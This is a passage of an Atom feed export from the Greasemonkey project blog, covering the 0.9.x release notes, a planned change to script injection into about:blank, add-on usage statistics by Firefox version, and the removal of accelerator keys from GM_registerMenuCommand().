href="https://github.com/greasemonkey/greasemonkey/issues/1307"&gt;#1307&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Compatibility enhancement with AutoPager (broken in 0.9.2). (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1344"&gt;#1344&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Passing a non-function to &lt;span style="font-family:courier new;"&gt;GM_registerMenuCommand()&lt;/span&gt;'s &lt;span style="font-family:courier new;"&gt;commandFunc&lt;/span&gt; broke the entire menu, and items showed up in the wrong order (both broken in 0.9.2). (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1346"&gt;#1346&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1347"&gt;#1347&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Enhancements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Passing the &lt;span style="font-family:courier new;"&gt;Referer&lt;/span&gt; header works, for &lt;span style="font-family:courier new;"&gt;GM_xmlhttpRequest()&lt;/span&gt;.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1240"&gt;#1240&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Accessibility: The sort buttons in the Add-ons Manager work with keyboard input (space/enter). (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1345"&gt;#1345&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;The entire list of bugs handled in this release is also available via the &lt;a href="https://github.com/greasemonkey/greasemonkey/issues?state=closed&amp;amp;milestone=1"&gt;0.9.3 milestone&lt;/a&gt; on GitHub.  Note that as always it takes some time for Mozilla to review the new version, and it's available on the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/greasemonkey/versions/"&gt;all versions&lt;/a&gt; page.  If you are using it and notice problems, it's best to either let us know at &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; or &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/new"&gt;log an issue&lt;/a&gt; (and be clear that it's with this version).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-2033169838652811339?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/2033169838652811339/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=2033169838652811339' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/2033169838652811339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/2033169838652811339'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/04/greasemonkey-093-release.html' title='Greasemonkey 0.9.3 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-390980969358564499</id><published>2011-04-20T07:56:00.001-07:00</published><updated>2011-04-20T08:40:31.278-07:00</updated><title type='text'>Breaking change: Inject into about:blank?</title><content type='html'>Back in &lt;a href="http://wiki.greasespot.net/Version_history#0.8.20090920.2"&gt;version 0.8.2&lt;/a&gt; we patched a security/privacy hole by preventing injection into &lt;span style="font-family:courier new;"&gt;file:&lt;/span&gt; and &lt;span style="font-family:courier new;"&gt;about:&lt;/span&gt; scheme URLs.  This was &lt;a href="https://github.com/greasemonkey/greasemonkey/commit/61695fe69493136dadd30b2206caf478d5096ecc"&gt;August 2009&lt;/a&gt;, and at the time we specifically allowed &lt;span style="font-family:courier new;"&gt;about:blank&lt;/span&gt; (while blocking the rest of &lt;span style="font-family:courier new;"&gt;about:&lt;/span&gt;).  A carefully crafted web search, [&lt;a href="https://encrypted.google.com/search?hl=en&amp;amp;q=site%3Auserscripts.org%2Fscripts%2Freview%2F+%22about%3Ablank%22+-%22src+about%3Ablank%22&amp;amp;aq=f&amp;amp;aqi=&amp;amp;aql=&amp;amp;oq="&gt;site:userscripts.org/scripts/review/ "about:blank" -"src about:blank"&lt;/a&gt;] reveals (among plenty false positives just making frames/windows that start blank) that real scripts are using this feature.  Examples include:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://userscripts.org/scripts/show/89359"&gt;Super Imgur Script&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;Then there's scripts specifically avoiding &lt;span style="font-family:courier new;"&gt;about:blank&lt;/span&gt;:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span class="sh_comment"&gt;&lt;a href="http://userscripts.org/scripts/show/68231"&gt;Cookie Zapper On Tab Close&lt;/a&gt; &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://userscripts.org/scripts/show/97541"&gt;&lt;span class="sh_comment"&gt;Content Concealer&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="sh_comment"&gt;&lt;a href="http://userscripts.org/scripts/show/36667"&gt;Go to bottom and go to top floating links&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="sh_comment"&gt;&lt;a href="http://userscripts.org/scripts/show/75539"&gt;Taggable&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;Yes, I ended up finding only one real script using this feature.  In much the way that I imagined it way back when.  But I found four specifically trying to avoid it.&lt;br /&gt;&lt;br /&gt;We now know of one real, serious bug with this approach.  It happens to have an easy workaround, but really brings to light the issue: The &lt;span style="font-family:courier new;"&gt;about:blank&lt;/span&gt; page has a sort of special meaning.  In this bug we know about, the browser is using a navigation to &lt;span style="font-family:courier new;"&gt;about:blank&lt;/span&gt; as a sort of clean-up, meaning "this content is gone", much like assigning null as a cleanup activity in some programming languages.&lt;br /&gt;&lt;br /&gt;Therefore our current plan is to &lt;span style="font-style: italic;"&gt;not&lt;span style="font-style: italic;"&gt; &lt;/span&gt;&lt;/span&gt;inject s&lt;span style="font-style: italic;"&gt;&lt;/span&gt;cripts into &lt;span style="font-family:courier new;"&gt;about:blank&lt;/span&gt; unless the &lt;span style="font-family: courier new;"&gt;@include&lt;/span&gt; rule specifically mentions it.  So if you say &lt;span style="font-family: courier new;"&gt;@include about:blank#mycustomvalue&lt;/span&gt; then everything will work as it does.  But if you say &lt;span style="font-family: courier new;"&gt;@include *&lt;/span&gt; (or rely on that default) then you will &lt;span style="font-style: italic;"&gt;not&lt;/span&gt; run on &lt;span style="font-family: courier new;"&gt;about:blank&lt;/span&gt;.  Current plans would include this change in the upcoming version 0.9.3.&lt;br /&gt;&lt;br /&gt;(As always, please find us on &lt;a href="http://groups.google.com/group/greasemonkey-dev"&gt;greasemonkey-dev&lt;/a&gt; to discuss the development of Greasemonkey itself.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-390980969358564499?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/390980969358564499'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/390980969358564499'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/04/breaking-change-inject-into-aboutblank.html' title='Breaking change: Inject into about:blank?'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-1142141722405313599</id><published>2011-04-05T08:41:00.001-07:00</published><updated>2011-04-20T07:56:52.332-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.2 Release</title><content type='html'>This release primarily fixes some of the problems discovered since 0.9.0.&lt;br /&gt;&lt;br /&gt;Bug Fixes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Failure on OSX when Growl is installed, but not running. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1264"&gt;#1264&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Incorrect display of Greasemonkey icon in Add-ons window (Firefox 3.6, OS X). (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1284"&gt;#1284&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1291"&gt;#1291&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Provide a sort bar, to control display order of the scripts in the Add-ons manager, for Firefox 4. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1293"&gt;#1293&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Remove "accelerator" keys from &lt;span style="font-family:courier new;"&gt;GM_registerMenuCommand()&lt;/span&gt;. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1312"&gt;#1312&lt;/a&gt;, &lt;a href="http://www.greasespot.net/2011/04/gmregistermenucommand-losing.html"&gt;previously&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Work around incompatibility with Personas Plus extension.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/closed/#issue/1253"&gt;#1253&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;Enhancements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Provide a toolbar button, and remove the status bar icon for Firefox 4. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1227"&gt;#1227&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;When re-installing a script (e.g. for an update), keep it in the same execution order.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1267"&gt;#1267&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Keep the add-ons manager view up to date when changing (installing/enabling/disabling/etc) user scripts. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/1305"&gt;#1305&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;It should be available soon, pending normal delays for review.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-1142141722405313599?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/1142141722405313599/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=1142141722405313599' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/1142141722405313599'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/1142141722405313599'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/03/greasemonkey-092-release.html' title='Greasemonkey 0.9.2 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-4673039508256928229</id><published>2011-04-05T08:41:00.000-07:00</published><updated>2011-04-05T09:04:37.575-07:00</updated><title type='text'>Greasemonkey Usage, by Firefox Version, April 2011</title><content type='html'>I'd like to take the opportunity to review the current usage profile of Greasemonkey, as it relates to Firefox version.  There's a couple points to be made, in regards to the work we've been doing recently on the 0.9 version branch of Greasemonkey.  This data all comes from the &lt;a href="https://addons.mozilla.org/en-US/statistics/addon/748"&gt;addons.mozilla.org statistics for Greasemonkey&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;script type="text/javascript" src="//ajax.googleapis.com/ajax/static/modules/gviz/1.0/chart.js"&gt; {"chartType":"AnnotatedTimeLine","chartName":"Greasemonkey Usage by Firefox Version","dataSourceUrl":"//spreadsheets.google.com/tq?key=0AnbPKNXgZu0-dEJyX1BiNUcxT0NaVkJXUWRIN19QNXc&amp;transpose=0&amp;headers=1&amp;range=A1%3AF27&amp;gid=0&amp;pub=1","options":{"fontColor":"#fff","midColor":"#36c","pointSize":"0","headerColor":"#3d85c6","headerHeight":40,"is3D":false,"displayRangeSelector":true,"wmode":"opaque","hAxis":{"maxAlternation":1},"thickness":2,"isStacked":false,"mapType":"hybrid","displayAnnotations":true,"showTip":true,"dataMode":"markers","colors":["#3366CC","#DC3912","#FF9900","#109618","#990099","#0099C6","#DD4477","#66AA00","#B82E2E","#316395"],"smoothLine":false,"maxColor":"#222","lineWidth":"2","labelPosition":"right","fontSize":"14px","hasLabelsColumn":true,"maxDepth":2,"allowCollapse":true,"minColor":"#ccc","displayZoomButtons":true,"width":448,"height":337},"refreshInterval":5} &lt;/script&gt;&lt;br /&gt;First, we can quickly note that Firefox 1.x and 2.x combined total only one half of one percent of current usage.  This is why we decided to up the &lt;a href="https://github.com/greasemonkey/greasemonkey/commit/a134042ccba748eda680bf0370090881155b6f38#install.rdf"&gt;minimum compatible version to 3.0&lt;/a&gt;.  It wasn't worth the effort to try to keep things working in earlier browsers.&lt;br /&gt;&lt;br /&gt;Also, now that Firefox 4.0 is out for a while, we can see why we went to 3.0 minimum, and not 4.0.  So far only about one fifth of our users have upgraded.  For everyone else, we think the recent enhancements we've been making are worth having, so we've taken special effort to make sure that we stay working in Firefox 3, and don't rely on features only available in Firefox 4.  Over time, perhaps that will change.  The slope is quite steep right now, but if history is any guide, there will be a substantial minority of users that stick with Firefox 3 for some time.&lt;br /&gt;&lt;br /&gt;For reference, here's &lt;a href="https://spreadsheets.google.com/ccc?key=0AnbPKNXgZu0-dEJyX1BiNUcxT0NaVkJXUWRIN19QNXc&amp;amp;hl=en&amp;amp;authkey=COKIl5EO"&gt;the exact data&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-4673039508256928229?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/4673039508256928229/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=4673039508256928229' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/4673039508256928229'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/4673039508256928229'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/04/greasemonkey-usage-by-firefox-version.html' title='Greasemonkey Usage, by Firefox Version, April 2011'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-5085525932337446461</id><published>2011-04-01T11:40:00.000-07:00</published><updated>2011-04-01T14:19:44.223-07:00</updated><title type='text'>GM_registerMenuCommand() losing "accelerator key" feature</title><content type='html'>Script authors, take note: I'm planning on moving forward with a change to remove a &lt;span style="font-style: italic;"&gt;small part&lt;/span&gt; of the functionality of &lt;a href="http://wiki.greasespot.net/GM_registerMenuCommand"&gt;&lt;span style="font-family: courier new;"&gt;GM_registerMenuCommand()&lt;/span&gt;&lt;/a&gt;.  This post is to explain what part, and the justification for doing so.&lt;br /&gt;&lt;br /&gt;With the release of Firefox 4, Mozilla has made some grand changes to the look and feel of the browser.  They've moved tabs to the top, emphasized the Firefox Button over the menu bar, and removed the status bar (providing the addons bar as a temporary shim for extension compatibility).  This led us to re-build parts of Greasemonkey to focus on providing a toolbar, and de-emphasize the old "monkey menu" in the status bar.&lt;br /&gt;&lt;br /&gt;It turns out that the menu code, now controlling the Tools &amp;gt; Greasemonkey menu, the old status bar monkey menu (in Firefox 3.x), and the new toolbar button's menu, also controls the commands for &lt;span style="font-family: courier new;"&gt;GM_registerMenuCommand()&lt;/span&gt; (to put them in the menu, of course!), which also controls the "accelerator keys" for those commands.&lt;br /&gt;&lt;br /&gt;These accelerator keys have, more or less, never worked.  I've written a test script (&lt;a href="https://gist.github.com/898642"&gt;see the source&lt;/a&gt;, or &lt;a href="https://gist.github.com/raw/898642/gm-rmc-accelerator-tester.user.js"&gt;install it&lt;/a&gt;) to demonstrate this.  Once installed, navigate to the page &lt;a href="about:blank#GM_rmc"&gt;about:blank#GM_rmc&lt;/a&gt; (you might need to hit reload, depending on how you open this) to run the script.  Pick any combination of modifiers, and a letter for the accelerator key.  Then try to use that accelerator key.&lt;br /&gt;&lt;br /&gt;I'm testing on Firefox 3.6 and Greasemonkey 0.8 -- the last versions before some of these big changes started, where everything should still be as reliable as it ever was.&lt;br /&gt;&lt;br /&gt;I ran this test: Close Firefox, launch it to the test page with only one tab open.  Register a single menu command.  Open the monkey menu, click on the menu item and see the alert.  Press the accelerator key.  No alert.  I repeated this whole process for: Shift+Ctrl+Q, Alt+Shift+X, Control+M.  None of it works.  I saw it working with at least one earlier attempt, but even then it was fragile: normal actions like loading pages or closing tabs caused otherwise working keys to fail.&lt;br /&gt;&lt;br /&gt;I tried &lt;a href="https://gist.github.com/889620"&gt;a super-simple script&lt;/a&gt; and it too doesn't work.  Installing it and pressing Ctrl+Shift+C gives me no results, but selecting the menu item does.&lt;br /&gt;&lt;br /&gt;I've asked &lt;a href="http://groups.google.com/group/greasemonkey-users/browse_thread/thread/bf667eca6a103765"&gt;on our mailing list&lt;/a&gt;, I've asked &lt;a href="http://userscripts.org/topics/71194"&gt;at userscripts.org&lt;/a&gt;, and I've held &lt;a href="http://groups.google.com/group/greasemonkey-dev/browse_thread/thread/4acc15e9b56ac204"&gt;discussions with developers&lt;/a&gt;.  I can't find anyone that will regret losing accelerator key support in &lt;span style="font-family: courier new;"&gt;GM_registerMenuCommand()&lt;/span&gt;, and all my attempts to make it work well have so far failed.&lt;br /&gt;&lt;br /&gt;So it is going to be removed, in Greasemonkey 0.9.2.  Unless I hear from someone that can show me that I've been a fool, it does work, and I'm using it wrong.  Please use the mailing list to get in touch with us if so!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-5085525932337446461?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/5085525932337446461/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=5085525932337446461' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/5085525932337446461'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/5085525932337446461'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/04/gmregistermenucommand-losing.html' title='GM_registerMenuCommand() losing &quot;accelerator key&quot; feature'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-8978024525458870578</id><published>2011-01-24T21:27:00.001-08:00</published><updated>2011-01-25T14:22:51.154-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.1 Release</title><content type='html'>This is primarily a quick release to deal with bugs found in 0.9.0.&lt;br /&gt;&lt;br /&gt;Bug fixes:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Fix user script sandbox wrapping.  This deals with lots of problems like &lt;tt&gt;eval()&lt;/tt&gt;.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/closed#issue/1258"&gt;#1258&lt;/a&gt;, also &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/closed#issue/1254"&gt;#1254&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/closed#issue/1260"&gt;#1260&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/closed#issue/1263"&gt;#1263&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/closed#issue/1265"&gt;#1265&lt;/a&gt;)&lt;br /&gt;&lt;b&gt;If your script(s) stopped working with 0.9.0, this should fix them.&lt;/b&gt;&lt;/li&gt;&lt;li&gt;Fixed rare bug when installing scripts.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/closed#issue/1250"&gt;#1250&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Fixed errors when Growl is not installed on Mac OS X. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/closed#issue/1249"&gt;#1249&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Fixed problems with relative &lt;tt&gt;@require&lt;/tt&gt; imperatives. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/closed#issue/1262"&gt;#1262&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;New features/improvements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Allow sorting by descending (as well as ascending) execution order.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/closed#issue/1217"&gt;#1217&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;Known issues:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Incompatible with All-in-One Sidebar. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/closed#issue/1252"&gt;#1252&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Incompatible with Personas extension. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues/closed#issue/1253"&gt;#1253&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-8978024525458870578?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/8978024525458870578/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=8978024525458870578' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/8978024525458870578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/8978024525458870578'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/01/greasemonkey-091-release.html' title='Greasemonkey 0.9.1 Release'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-5795228305188957151</id><published>2011-01-24T20:32:00.001-08:00</published><updated>2011-01-24T20:51:31.025-08:00</updated><title type='text'>Problems with version 0.9.0</title><content type='html'>Unfortunately, a number of problems with the recent 0.9.0 release were discovered only after it saw full public release, rather than before that, in one of our Release Candidates.&lt;br /&gt;&lt;br /&gt;There are a few small problems related to scripts installing and running -- these are fixed, and the fixes should be released very soon.&lt;br /&gt;&lt;br /&gt;There are also known problems with All-in-One Sidebar, and the Personas extension.  These are more serious problems, and the only solution right now is to disable one or the other extension.&lt;br /&gt;&lt;br /&gt;Keep your eyes open for release 0.9.1 which should be coming out Real Soon Now.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11645460-5795228305188957151?l=www.greasespot.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.greasespot.net/feeds/5795228305188957151/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11645460&amp;postID=5795228305188957151' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/5795228305188957151'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11645460/posts/default/5795228305188957151'/><link rel='alternate' type='text/html' href='http://www.greasespot.net/2011/01/problems-with-version-090.html' title='Problems with version 0.9.0'/><author><name>arantius</name><uri>http://www.blogger.com/profile/14641102142645956202</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11645460.post-5065470462863563204</id><published>2011-01-18T11:53:00.000-08:00</published><updated>2011-01-25T14:25:43.097-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='release'/><title type='text'>Greasemonkey 0.9.0 Release</title><content type='html'>It's been a long time coming, but it should be worth the wait!  The next major release of Greasemonkey, version 0.9.0, is ready.  Let's dive right into the new features:&lt;br /&gt;&lt;br /&gt;New Features:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Compatibility with Firefox 4!  Note that because of &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=612025"&gt;Firefox bug 612025&lt;/a&gt; this is somewhat unsafe for 4.0b7 to 4.0b9 (inclusive).  Beta 10 should be fixed (the nightly build on January 14th definitely is).    Firefox 4 support is still preliminary.  Everything probably works, but not everything works really well.  The backlog of &lt;a href="https://github.com/greasemonkey/greasemonkey/issues/labels/0.9.1"&gt;bugs for the next release&lt;/a&gt; is primarily focused on this.&lt;/li&gt;&lt;li&gt;Complete integration with the standard Firefox Add-ons dialog, treating User Scripts as just another kind of browser add-on.&lt;br /&gt;For Firefox 3, the User Script management dialog now looks like:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_FMU0brKUGn0/TTBtrXTW1JI/AAAAAAAAA6Q/sNDAB4DHJ0s/s1600/addons-user-scripts-3.6.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 398px;" src="http://2.bp.blogspot.com/_FMU0brKUGn0/TTBtrXTW1JI/AAAAAAAAA6Q/sNDAB4DHJ0s/s400/addons-user-scripts-3.6.png" alt="" id="BLOGGER_PHOTO_ID_5562066131559568530" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;And for Firefox 4.0:&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_FMU0brKUGn0/TTBuCqXM2fI/AAAAAAAAA6Y/2l3eIYTF66k/s1600/addons-user-scripts-4.0.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 296px;" src="http://1.bp.blogspot.com/_FMU0brKUGn0/TTBuCqXM2fI/AAAAAAAAA6Y/2l3eIYTF66k/s400/addons-user-scripts-4.0.png" alt="" id="BLOGGER_PHOTO_ID_5562066531812956658" border="0" /&gt;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;A global options dialog, where the script editor can always be selected.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues#issue/1012"&gt;#1012&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues#issue/1109"&gt;#1109&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Live in-place editing for the entire script, including metadata (&lt;tt&gt;@name&lt;/tt&gt;, &lt;tt&gt;@require&lt;/tt&gt;, &lt;tt&gt;@include&lt;/tt&gt;, &lt;tt&gt;@exclude&lt;/tt&gt;, etc.).  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues#issue/1148"&gt;#1148&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues#issue/1157"&gt;#1157&lt;/a&gt;, &lt;a href="https://github.com/greasemonkey/greasemonkey/issues#issue/1165"&gt;#1165&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Web pages that end in &lt;tt&gt;.user.js&lt;/tt&gt; are loaded as normal, instead of being installed as a user script.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues#issue/1184"&gt;#1184&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;Bug fixes / minor enhancements:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;All Greasemonkey windows respond to standard close window keyboard shortcuts.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues#issue/1085"&gt;#1085&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Support for &lt;tt&gt;@icon&lt;/tt&gt; metadata imperative, displayed in the new add-ons manager integration.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues#issue/1096"&gt;#1096&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Support &lt;tt&gt;user&lt;/tt&gt; and &lt;tt&gt;password&lt;/tt&gt; for &lt;tt&gt;GM_xmlHttpRequest()&lt;/tt&gt;. (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues#issue/1100"&gt;#1100&lt;/a&gt;)&lt;/li&gt;&lt;li&gt;Support &lt;tt&gt;@version&lt;/tt&gt; metadata imperative.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues#issue/1110"&gt;#1110&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Suppress spurious &lt;tt&gt;Error: not well-formed (// ==UserScript==)&lt;/tt&gt; error messages.  (&lt;a href="https://github.com/greasemonkey/greasemonkey/issues#issue/1134"&gt;#1134&lt;/a&gt;)&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The "install" menu item is removed.  (&lt;a 